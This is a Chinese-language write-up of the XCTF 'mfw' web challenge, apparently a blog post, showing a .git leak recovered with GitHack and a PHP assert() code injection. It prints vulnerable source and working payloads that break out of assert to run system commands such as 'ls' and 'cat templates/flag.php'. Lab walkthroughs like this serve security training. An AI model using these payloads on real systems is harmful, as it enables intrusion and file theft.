XCTF-web-mfw

访问主页

经过发现page传参应该是一个文件包含页面,不过没有加后缀名,应该是在服务端会自动给我们加上
试了文件包含的data://协议,还有%00阶段没有成功,使用dirb进行目录爆破

得到.git目录,应该是.git泄露,使用GitHack获取

python2 GitHack.py http://61.147.171.105:60868/.git


得到index.phptemplates,得到index.php源码

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

上述中有一个危险函数assert(),他会将函数中的字符串当做PHP代码执行,而我们可以直接传入$file,就像闭合sql语句一样闭合该PHP代码

根据第一条

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

pyaload为'.system('ls').',尝试执行使用system()函数调用系统命令ls

执行成功,尝试继续执行获取flag

?page='.system('cat flag.php').'


这里失败了,因为下方还有一段php代码

assert("file_exists('$file')") or die("That file doesn't exist!");

需要同时绕过这两条才可以执行命令,经过一番测试,得到下方的`payload

').system("ls");//

原代码和传入后的比较

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("strpos('').system("ls");//', '..') === false") or die("Detected hacking attempt!");

assert("file_exists('$file')") or die("That file doesn't exist!");
assert("file_exists('').system("ls");//)") or die("That file doesn't exist!");

传入payload测试

成功查看文件,尝试获取templates/flag.php内容

?page=').system("cat templates/flag.php");//

posted @ 2023-11-28 08:58  Junglezt  阅读(8)  评论(0编辑  收藏  举报